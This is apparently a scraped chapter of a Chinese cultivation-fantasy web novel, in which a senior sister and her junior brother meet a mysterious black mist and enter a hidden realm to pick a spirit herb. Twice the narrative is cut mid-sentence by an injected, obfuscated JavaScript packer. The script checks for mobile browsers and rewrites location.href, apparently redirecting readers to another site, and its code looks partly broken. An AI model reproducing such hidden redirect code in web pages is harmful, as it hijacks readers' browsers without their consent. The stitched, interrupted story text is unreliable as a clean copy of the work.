“那个,常识课,去过两节,实在是太无聊睡着了,想想还不如问剑峰家里睡得香,就回家睡了。”小池归偷觑连星珏的脸色,见大师姐没有继续动手的意思,才继续坦白道,“考核成绩嘛……是丙,嘿嘿,没有丁,还可以的。”
见小池归还自我安慰上了,连星珏都要气笑了,“年末考核谁去都是丙,为了给弟子们留面子,周师叔从来不给任何弟子成绩评丁,即使是一道题都答不对,也不会评丁的。”
小池归恍然大悟,“我说我怎么还能是丙,我还以为周师叔喜欢我呢!”所以才额外给他开小灶捞了一把,原来这样啊。
连星珏这次是真的忍不住了,小池归只感觉到屁股一阵疼痛,等到反应过来的时候,才发现,夭寿啦,他居然被师姐打屁股了!
“救命,师姐!手下留情!我会改的,我真的会改的,我错了,师姐救命啊!”
然而他面对的只有师姐的无情铁掌,足足五下之后,连星珏才放下小池归,看着他可怜兮兮的神色,认真道,“生活上可以偷懒,但学习上不行,问道宗是你一时的后盾,但不可能任何场合都是你的后盾,只有你的实力才是真正属于你,并时刻陪伴你的东西,任何时候,都不要放弃对实力的追求,师姐不可能时时刻刻都护住你的,师姐不希望你出事,师姐希望你一直好好的,可以吗?”
池归原本还有些抹不开面子,觉得委屈,但听到后面的时候,也知道,大师姐是为了他好,虽然这种方式有点丢面子,但……好像也是他先仗着小聪明想要糊弄师姐,也不好好学习的。
“师姐我知道错了,我以后一定尽量好好学习。”小池归拉着连星珏的袖子。
连星珏皱眉,敏锐的发现了小池归话里的漏洞,“尽量?”
小池归叹气,“好吧……是一定。”
连星珏这才满意,至于周师叔对小师弟的真实评价,以及为什么对她闭门不见的事,等到回到宗里,总能亲自问周师叔的,到时候,再算算账也不迟。
池归感觉自己的后背忽然冒出一股凉风,完全不知道等到回到宗门,还有一场清算在等着他。
此刻他正伸出手,想要摸摸自己寒毛直竖的后脖颈,总觉得哪里不对的样子。
就在池归伸手的时候,连星珏却忽然抓住了他的手,眉头紧锁道,“等下,有些不对。”
“怎么了?”池归摸不着头脑。
连星珏却神情凝重,她看着小师弟脖颈上不知道何时凝聚的一团黑气,居然想不起来,这团黑气是什么时候出现的,又是什么时候附着在小师弟身上的。
好像就在刚刚,他们说话的时候,这团黑气就这样突然出现了,毫无征兆的附着在小师弟的身上。
“你的后颈上有一团黑气,现在还不知道是什么。”连星珏拿出冰镜递给小池归让他看,没有因为担心小师弟害怕就不给他看的意思。
修真界各种奇奇怪怪的东西多了,历练多了就知道遇到什么样的事应该从什么方面入手解决,再遇到也就不会再慌张了。
池归看着那团黑气,眨了眨眼,虽然这黑气刚才弄得他汗毛倒竖,但现在看却好像没有什么特别的感觉,只觉得凉凉的,像是个大果冻一样。
“有什么异常感觉吗?”连星珏询问道。
池归摇了摇头,“没有,只是有点凉而已。”
甚至看久了,还觉得那黑气有点毛茸茸的,有种诡异的很可爱的感觉。
池归一激灵,摸了摸自己的胳膊,觉得自己是不是认知系统出什么问题了。
连星珏双手运转灵力,试图从那一团黑气里揪出一撮来,分析下这是个什么东西,但没想到,刚揪出一点点,那黑气就像是流水一样又溜了回去,让连星珏竹篮打水一场空。
连星珏:“……???”
这黑气怎么回事,还带返回的。
而且,历经这一次之后,那黑气似乎更凝聚了一点,也更靠近小师弟了一些。
连星珏:“……”咦?有点奇怪。
不过既然不能直接抓出来,那么就用神识检测一下吧,她放出自己的神识触角,想要靠近那团黑气查验一下,但没想到,神识是放出来了,但是黑气却不见了!
确切的说,黑气还在,但是在神识的视角里,小池归的后颈上根本就没有任何东西,那团黑气,在神识的世界里是不存在的!
连星珏惊讶,这次她是真的有些疑惑了,这究竟是个什么东西,要知道神识是这个世界上感知最敏锐的东西,这天地间无论是灵气还是各种各样的物质,在神识的世界里都是一览无余的,就像是人最开始修炼的时候引气入体,那是精神世界与现实世界的第一次链接,能看到这个世界上最真实的一面。
而现在,这团黑气却做到了现实中存在,但实际上不存在,这简直是违背常理的。
哦不,或许,他并不是实际上不存在,只是连星珏感知不到而已。
她有些挫败,但并没有灰心,这团黑气出现在北邙山,虽然并不能确定究竟是否有害,但这种鬼地方,不是有偏见,而是真的有无害的东西才有鬼。
当然,轻灵草不算。
所以,她不能让这鬼东西继续呆在小师弟的身上,小师弟身体弱,可禁不起一点点折腾,所以,无法之下,她选择将黑气渡过来,到她自己的身上。
——至于攻击这团黑气,连星珏不是没想过,甚至她第一个想法就是这个,但这团黑气和小师弟连接得实在是太紧密,她怕黑气惊吓之下真的钻进小师弟的身体里,那就算是她,也会彻底没办法了。
毕竟那时候再想割舍黑气,第一个伤害的,就是小师弟,瓦砾怎么能和玉瓶相碰呢?连星珏绝不允许这样的事情发生。
所以,在又仔细观察了下后,连星珏选择割开手腕,将汩汩的鲜血靠近黑气的旁边。
——只要黑气过来喝血,连星珏就将这团黑气千剑万剐,绝不留情,直到他彻底消失为止。
连星珏是这样想的,只是让她万没想到的是,就在她抬起手腕靠近的时候,那黑气并没有像她想象中那样嗜血跟过来,反而还隐隐的有些嫌弃,缩到离手腕更远的另一边了。
连星珏:“……???”
这一刻她感觉自己有点小丑。
这什么破黑气啊,怎么还嫌弃血液啊!她绝不承认这黑气是在嫌弃她,也或许是害怕她血液中的剑气,一定是这样的!
连星珏简直气炸了,但还是耐下心来,又找了一份灵兽血来,这东西她还是很多的,再次开始尝试。
嗯……至于结果嘛,不说也罢,虽然嫌弃的没有连星珏的血那么厉害,但也确实是有点嫌弃的,看来这黑气不喜欢血液。
连星珏面无表情的总结道,心里对黑气恨得牙痒痒,这鬼东西究竟是怎么穿过层层防控,各种禁制法衣甚至还有问器峰的大龟壳,直接钻到小师弟脖颈那里的?
没道理啊。
百思不得其解,小池归也看着连星珏忙碌半天了,他想了想,直接伸手到后颈,将那团黑气抓了过来。
连星珏的“不要”刚脱口而出,才说到一半,就看到在她那里桀骜不驯的黑气,在她小师弟那里跟个温顺绵羊似的,什么流动的水一样不沾手,什么感
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385914|200248||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
知到血液就快速跑开,什么神识都感知不到的奇怪东西,在小师弟的手中怎么那、么、乖、巧!
都被两只手当大果冻一样揉圆搓扁了,还乖乖的任揉任捏,简直就是个没脾气的乖宝宝!
连星珏心里不服。
于是她试图将这团黑气拿过来研究一下,但没想到,刚伸手,嘿,那黑气又跟水一样的,流走了,流向了她师弟的怀抱。
嗯,小师弟身上的各种防护依旧不起作用。
连星珏冷静的分析,然后感觉自己想疯。
小池归却没有大师姐那样百转千回的想法,他只觉得这团黑气好好玩,还有点可爱,手感也超好,更没感觉到什么恶意,觉得超有意思的,玩起来兴致勃勃,完全没注意到自家大师姐有多崩溃。
玩一会儿甚至还有分享精神,“师姐,这个好好玩,我们再找几个带回去玩吧,你要不要玩一下?”
连星珏冷静到麻木,“不了,你玩吧。”
只希望这个黑气真的无害,不然,真的看着很不顺眼啊!
暂时没办法纠结黑气的问题,而这团黑气在师弟的手中又很温顺,连星珏只能继续带着小池归走,一路向北行去。
让连星珏困惑的是,之前还能看到一些骨头架子,听到夜枭的叫声,感知到骨头堆里窜来窜去的老鼠,但是这一路行来,别说夜枭和老鼠,就连骨头架子都见不到几根了。
直到看到好几根骨头在不知名的力量下自己飘着飞走,并且将自己抛到坑里用土埋上,连星珏才觉得分外诡异。
——这怎么回事?
而也就在连星珏发现的瞬间,那骨头架子像是受到惊吓一样,啪嗒一声就碎掉了,让连星珏更摸不着头脑了。
“小心一点。”连星珏只能谨慎叮嘱道。
然而被叮嘱的对象,小池归只是从大果冻里沉迷归来,对刚才发生的事情半点不知情,只迷惑又乖乖道,“好。”
虽然不知道大师姐说的小心啥,但总归大师姐提醒了,我小心就行了。
于是池归小心的将大果冻握得更紧了,从原来一只手拿着变成了两只手捧着。
连星珏:“……”算了,小师弟还是个孩子。
爱玩玩具是很正常的。
但真的……这爱好不能改改吗?不觉得这黑气团怪奇怪的吗?
真的让人看了很心梗啊!
但连星珏也无力阻止,毕竟这东西抓也抓不住,分析也分析不出来,至于攻击——玉瓶还在呢,总不能硬碰硬,最终也只能劝自己接纳,眼不见心不烦罢了。
让连星珏意外的是,这一路走来都很顺利,甚至没有什么波折,除了大黑团子让她颇为疑惑外,再没有半点意外,顺利的让她自己都觉得奇怪。
——这和她想的不一样,也和之前找到的北邙山资料不一样,更和文师叔说的不一样。
北邙山可是著名的上古乱葬岗,也是九幽之地,这里应该会有各种幽魂鬼怪、上古怨灵,应该鬼泣森森死气弥漫,会有各种怨毒入体难以祛除——怎么会像是现在这样,除了一点弥漫的死气外,居然再也见不到其他了。
难道北邙山出了什么事,他们正好遇到了?不然有什么理由别人九死一生,就连文师叔都未必全身而退的地方,她和小池归就郊游一样安安稳稳的走过来了。
这实在是奇怪。
但连星珏自己也找不到原因,只能就这样循着方向走,直到走到了照影壁中小池归描述的地方,两人才确定,自己是真的没走错,只是十分幸运,十分顺利而已。
面前的山洞里,黑气的烟雾汩汩而出,弥漫在整个北邙山的上空,而那山洞黑漆漆的,伸手不见五指,仿佛一张无形的大口,只要进去,就会被吞没。
连星珏神色凝重起来,“小师弟,我先去,你在外面等我。”
前面没遇到危险,也许这里就是最危险的地方了,她需要做好万全准备,保证小师弟没事,甚至轻灵草都要排在小师弟的下面。
然而面对大师姐的选择,小池归只是摇了摇头,“我不要。”
他仰头倔强,再次重申道,“大师姐,我不要。”
“乖,听话。”连星珏习惯性的摸摸崽的头。
然而崽并不听话,小池归丝毫没有被劝动,反而说服大师姐,“我知道大师姐是为了我好,怕我有危险,但是洞外也许并不比洞里面安全啊,现在洞穴外面是没有什么东西,万一师姐不在,那些怪物就来找我了呢,那我到时候怎么办?师姐不在我的身边。”
小池归说的可怜,他掌心的大果冻激动得跳了两下,被小池归翻手镇压,继续道,“而且,师姐记得我曾经说过,在洞穴外隐约听到人声吗?要是我遇到了坏人怎么办?万一遇到了我跑不掉可如何是好?”
大果冻这下更激动,然而小池归丝毫不知道大果冻要表达什么,只是继续镇压,想再和师姐说两句,让师姐打消独自探险的想法。
然而不等小池归再说,连星珏已经想到自己之前的想法有失妥当。
相比于小师弟留在外面面对未知的危险,还不如放在自己眼皮子底下,起码万一发生危险,自己总有给小师弟把护符撕开的力气。
于是两人一起走进山洞。
山洞之内一片漆黑,伸手不见五指,即使大师姐拿出了灵鲸鱼烛,那火光也透不出三尺,只能聚拢在一起打转。
连星珏紧紧地抓住小池归的手,而小池归也抓着大师姐没有放松,至于大果冻嘛,他这会儿也知道小池归忙,自顾自的趴到小池归脑袋上去了。
小池归也没感觉重,只是走着走着,他和大师姐都发现了不对。
——这山洞太深也太长了,按照他们走过的路线来看,起码走了有几公里了,就算这山洞再深,也走到头了,然而直到现在,他们还在黑暗里打转,根本就没有找到那片神奇的潭水。
更别提轻灵草了。
“这样下去不行。”粘稠的黑气一直在腐蚀着连星珏的灵力,现在一时倒也还好,但若是一直这样下去,连星珏的灵力总会不足。
更别提,黑气的腐蚀力度越来越强,连星珏的灵力支出越来越大了。
“要不,我们找个方向?”池归想起之前师姐教他的,现在这里地脉比较活跃,可以用山火琥珀,遵循地脉的方向,找到真正潭水所在的出口。
连星珏点头,对小师弟表示肯定,她还没开口,小师弟已经自己想到了办法,看来小师弟还是很聪明的。
……就是人太懒了些,需要多鞭策才行。
连星珏内心给小池归加码,但他丝毫不知道,还在兴致勃勃的拿出山火琥珀,打算按照师姐的方法来找一找地脉的方向。
然而当他将灵力输入山火琥珀后,却发现,山火琥珀并没有像是师姐说的那样,有一端变得炙热,反而一直凉凉的,一点都不暖和。
小池归皱了下眉,难道是自己输入的灵力太少了?
然而就在他输入更多灵力的时候,山火琥珀还是一动不动,像是坏掉了一般。
他蹙眉询问师姐,“师姐,可能是我灵力不够,或者山火琥珀坏了,不然它怎么一点反应都没有?”
连星珏将东西接过来,查看了一下输入灵力,却发现,和在小池归手里一样,山火琥珀也是一动不动,没有丝毫的反应。
连星珏这下脸色凝重起来,“不是你的灵力低,也不是山火琥珀坏了,山火琥珀没有问题,是我们所在的地方有问题。”
“——这里居然没有地脉!”
小池归睁大眼睛,立刻想起大师姐之前和他说过的话,没有地脉水脉的地方,除了虚空,那就只有——“秘境?!”
那个山洞,居然不止是真实的地域,竟然还是一个秘境的入口,只是黑气笼罩,视线阻挡,他们谁都没有发现。
怪不得,在这里走了这么久,都没有走出去,怪不得他们一直找不到方向,怪不得这地方这样怪异——他们居然误闯进了秘境里。
连星珏皱紧眉头,这下麻烦了,“你跟紧我。”秘境可不是想进来就进来,想出去就出去的地方,每个秘境的规矩都不一样,有的可能关你三年五载就放你出去了,而有的——若是达不到要求,一辈子都出不去。
连星珏忽然后悔,之前不该被小师弟说动的,让他也跟着进来陷进去,现在,只希望他们真的能找到轻灵草,寻找到整个秘境的阵眼,破局而出,只能如此了。
小池归也察觉到了不对,他们现在居然在秘境里面了,要知道,整个修真界排的上号的秘境每个都超级麻烦,他也知道现在的情况了。
或许他能凭借护符脱身回到宗门,但是大师姐呢?大师姐怎么办?
护符可是只有一个,他们必须要找到轻灵草,而他,也不能给大师姐拖后腿。
两人气氛凝重,就在他们思考如何破局的时候,小池归头顶的大果冻却抓了抓他的头发,向着一个方向飞去。
小池归被拽了个趔趄,虽然不疼,但也重心不稳了下。
“怎么了?”连星珏霎时紧张,以为小师弟受到了袭击。
“没事。”小池归摸了摸自己的头发,安抚了一下头上的大果冻,“是团子拉着我往那边走。”
连星珏眨眨眼,就连大果冻的动作都停顿了一瞬——团子?
小池归什么时候给这黑漆漆的东西起的名,这东西真的有智慧吗,是生命吗,就给人家起名字?
而且……团子,说实话这名字真的很逊,不过像是小吃货师弟会起的名字。
当然,现在不是考虑吐槽这些的时候,而是,“团子怎么会拉着你?难道他要给你指方向吗?”
连星珏入乡随俗,也开始叫起了团子,然后她就被一直不理她的团子撞了一下——不疼,就是这东西原来也是有脾气的?
看着还真像个智慧生物了,只是不知道这到底是个啥,又是个什么种族。
“应该是吧,团子很好的,超级好玩的。”小池归不太确定道。
不过他们两个现在也是没什么办法的,既然团子动了,想想这东西神秘的来历以及没办法捕捉拿捏的本事,也许团子真的有办法。
他们也只能死马当活马医了。
于是两人愉快的跟着团子走起了奇怪的步伐。
前进两步、后退两步、向左一步、又向后三步……就这样乱走一气之下,足足走了两个时辰,小池归都要走不动了,他们终于听到了什么声音。
那是清脆的水滴声,像是从叶片上坠落的水滴,滴入湖泊,泛起一圈圈涟漪,回环往复,不止不休。
“我听到了水声!”小池归惊喜的说着自己的发现。
“我也听到了。”连星珏也隐隐有些激动,想到小师弟曾经说过的画面,也许,他们终于到达目的地了。
而果然,在又走了半刻钟后,在愈发清脆的水滴声中,他们转了个弯,终于见到了他们心心念念的目的地,找到了连星珏梦寐以求的任务目标。
只见浓郁的黑气聚集在潭水之上,犹如一个漏斗,凝聚着一滴滴黑液,落入潭水中。
而潭水之上,一簇晶莹剔透的小草正在潭水的束缚中横冲直撞,却怎么也挣脱不开。
即使没有见过,连星珏也无比确定,这就是轻灵草了。
而小池归接下来的话也印证了她的想法,“这就是我在画面里看到的地方,我们到达目的地了!”
6. 第六只崽崽
第6章
找到了轻灵草,接下来,就是摘取轻灵草了。
黑色的潭水带着古怪的邪异,能束缚住轻灵草的东西,连星珏可不敢大意的以为这是什么无害的东西。
毕竟文师叔说过,至轻至灵之物,只有至浊至邪之地才能困住,而这潭水既然能困住轻灵草,那么显而易见,这不是什么好相与的普通潭水。
她想了想,拿出一柄轻剑——那是文箬竹制作而成的剑,质地极轻,恍若飞羽——用御剑诀小心控制着它飞向轻灵草的方向。
然而那轻剑才刚进入潭水的范围,还没有沾染到潭水,就蓦地一沉,直接落入了潭水之中,不消片刻,就立刻融化消失,与潭水融为一体了。
连星珏脸色沉凝,就在轻剑进入潭水范围的一瞬间,她的神识就蓦地一痛,与轻剑的联系被切断了。
她再次尝试将神识探过去,而这一次,非但神识一股剧痛,那冰寒邪异的气息还反过来顺着神识向她的识海蔓延侵蚀而去。
连星珏连忙将这部分神识舍弃掉,眼见那气息吞噬了神识后,出了潭水范围还犹自盘桓,连星珏不敢大意,直接取出本命霜星剑,一招“寒星坠”就朝那气息刺去。
谁知,这一招虽然将那气息打散,但却没有消除,只是让那邪异气息分成了更多份,眼看着那气息将要四散开来,连星珏蹙眉,直接以剑为阵,将这股气息困在剑阵中,消磨了好一会儿,才将这邪异气息彻底消磨干净了。
看出连星珏的不轻松,池归询问道,“很难吗?”
按照大师姐的战斗力,一点邪气应该一剑就荡平了,如今居然用了第二招,而且还是剑阵,看来这潭水很不好对付了。
而连星珏的回答也回应了池归的猜想,“这潭水不太好对付。”
只是一点顺势蔓延的力量都如此棘手,不难想象这一整潭的潭水究竟有多强,“我们得寻找其他的办法,不能硬碰硬。”
这潭水至浊至邪至阴,走潭水上空的想法,通过文箬竹做的剑的下场来看是不行的,潭水上空也是潭水的领地,就连神识都不能轻易探测,看来想要通过这潭水,要么寻找同样至阴至邪至浊之物,与这潭水同源,方能不受伤害。
要么,就寻找至刚至阳至清之物,如同轻灵草一般,方能度过这黑潭。
连星珏在自己的储物袋中查找起来,她记得自己打造本命剑的时候,好像剩了一块凛霜神脉石,这石头虽然不算是至邪至浊,但勉强称得上至阴,或许能扛得过这潭水的侵蚀。
池归见了,询问道,“大师姐在找什么吗?”
连星珏耐心解释,“在找凛霜神脉石,这石头属阴,或许能抗住潭水取出轻灵草,其实九幽血土是最合适的,至阴至浊至邪,但那东西太稀少了,见都没见过,也很难找到,再其次用属性对冲,像是轻灵草、太阳辉光、凤凰羽这种至刚至阳至清的东西,应该也扛得住潭水,不过现在,手边只有这凛霜神脉石能试一试了。”
池归仔细听着,这些话语不仅是大师姐这么多年来学来的知识,也是在血与火中淬炼出来的保命经验,也许听起来不是很起眼,但却是经过一次次试验后得出的正确的破题思路,是师姐要教给他的东西,也是他必须学会的。
看着小师弟认真的模样,连星珏内心欣慰,看来小师弟将她之前的话都听进去了,并没有敷衍她,这就好。
这样的话……即使她万一在这里出事了,小师弟也不会颓废,也会继续她未完成的事情——反抗命运,努力的活下去。
并不知道大师姐内心真实的想法,池归只看到大师姐从自己的储物戒中拿出一块冰蓝色的石头,那石头上布满了繁复的白色霜纹,看久了只感觉那花纹会变动一样,最终在识海里汇聚成了一片雪花。
连星珏拍了小池归一下,“别看太久,你还没有修炼出神识,会伤到精神的。”
池归这才从那冷的要命的雪花中清醒过来,再看那冰蓝色石头的时候,眼睛里也多了一分谨慎,不再仔细瞧着看了。
“神属性的东西大多都会有这种投射特性,所以不能注视或者回想太久,如果太久形成了烙印,那么终其一生都会被绑定侵蚀,那时候,就不是人用材料,而是材料吸人了,所以要克制。”连星珏解释道。
池归点了点头,原来材料也有这么多的讲究。
连星珏看着小池归恍然大悟的模样,叹了口气,“所以说,让你好好学习,努力上课,这些师叔们上课的时候都有教的,问书阁也是面对所有弟子都开放的,只有掌握的知识足够多,实力足够强,才能面对什么事情什么情况,都更从容不迫。”
小池归这次更认同的点头,毕竟这一路来,大师姐给他展示了太多修真界的神奇,也展示了很多即使这样厉害的大师姐都无能为力的事,所以,即使咸鱼,小池归也知道,足够的知识和实力,才能让这样的无能为力更少一些,才能保护好自己想保护的人。
见小池归知晓,连星珏也不再犹豫,直接释放灵力,对着凛霜神脉石锻造起来——只见那原本坚硬无比的石头,在大师姐的灵力下逐渐融化,最终变成了一团冰蓝色的水,又在灵力的塑造下变成一条长长的绳索,原本白色的冰痕纹路,在绳索上变成了各种繁复的阵文,只是这一次,那纹路不再头晕,反而带着一种异样的精致与工整。
终于,冰蓝色的绳索凝聚成形,只是看着,就有一种莫名的吸力,似乎能抓取到什么一样,池归知道,大师姐成功了。
连星珏的脸上也扬起一抹欣喜,将绳索炼化,下一秒,就见冰蓝色的绳索渡过了潭水。
黑色的潭水像是被激怒了一般,依旧疯狂的朝着绳索涌去,那熟悉的灵识侵蚀感再次传来,只是这一次,因为有白色阵纹的保护,那些许的侵蚀感根本无法突破绳索的保护。
连星珏笑了起来,她知道,这一次,她或许真的能摘取到轻灵草。
虽然有了绳索的保护,可以渡过潭水的封锁了,只是推进的速度还是十分缓慢,毕竟相比于一整潭的黑色潭水,一根纤薄的绳索力量还是太过渺小,全靠连星珏的修为硬撑,不过半刻钟,连星珏的额头就已经布满了汗液。
但她还是努力磕着恢复灵力的丹药,争取靠近潭水的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385915|200248||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中心,将轻灵草取出来。
而就在大师姐努力的时候,池归却忽然好像听到了什么声音。
他眉头皱了一下,放缓了呼吸,很快,模糊的声音再次传来,这一次他确定,自己没有听错。
没有犹豫,他飞快的碰了碰正在和潭水较劲、没办法时刻观察四周的大师姐,快速道,“大师姐,先等一等,有人来了!”
池归皱着眉,知道是自己之前在照影壁中看到的画面应验了——只是不知,这来者是恶是善。
连星珏却没有那么多的想法,小师弟没有正式的踏入修真界,或许还不知晓,但她却是实打实的摸爬打滚了好多年,早就知晓,这修真界根本就没有纯粹的善与恶,只有利益与立场。
若是没有机会,对方强势,即使是恶人也会表现得如同小绵羊般,但若是落入下风,没有背景,或者有背景但利益足够大,那么即使是人尽皆知的善人,背后捅刀的也不在少数。
所以面对这种情况,不需要知道来人到底是好是坏,一律按照最坏的预想处理就可以了,如果最后真的发现对方没有丝毫的恶意也没有任何的恶行,那么等到安全了再放了对方也是一样的。
连星珏没有在意那已经走了三分之二路程,只差三分之一就能碰到轻灵草的绳索,而是飞速的将之收起,然后拿出隐匿阵盘——那是问阵峰做的最好的四星阵盘,足以保证她和小池归连元婴期的修士,都等闲发现不了。
随着连星珏的动作,那原本模糊的人声也越来越近了,连星珏丝毫不慌,就在声音极近的下一秒,阵盘布好了,只见一个模糊的光弧粗粗略过,然后就消失不见了,随之一起消失的,还有连星珏和小池归,整个漆黑潭水所在的地方,除了正一点点被覆盖的些许痕迹,再也找不到连星珏和池归曾经来过的证据。
而也就在不久之后,两个人影跌跌撞撞的从黑色的弥漫的雾气中冲了出来,池归看着这两个人,总觉得有些熟悉。
而就在两人抬头之后,连星珏和小池归同时一呆,这两人——不是凰妃音和沈逸风吗?
只是相比于之前如同傲娇小凤凰一般的凰妃音和表面谦虚实则高傲阴狠的沈逸风,现在的他们和之前完全判若两人了。
沈逸风还好,虽然有些狼狈,身体还古怪的冒着黑气,但从神情和表现来看,似乎没受到什么伤,吃了什么苦。
但是凰妃音就不一样了。
连星珏和小池归看着凰妃音已经完全被剃掉血肉的双臂,以及胸腹处的血肉模糊足以看到内脏的巨大窟窿,只感觉心里面直冒寒气,说不出的毛骨悚然。
凰妃音之前和他们在照影阁外相见的时候,不还高高兴兴快快乐乐的吗,和他们有说有笑,甚至还对沈逸风羞涩崇拜心生情愫,而她现在……怎么变成了这个样子?
而沈逸风看到这漆黑的潭水和潭水中丝毫不变的轻灵草,嘴角却是露出了一抹势在必得的阴邪笑容,拍了拍凰妃音麻木仇恨的脸庞,“终于到了,你也该派上别的用场了。”
连星珏&池归:!!!
这玩意儿居然也是冲着轻灵草来的!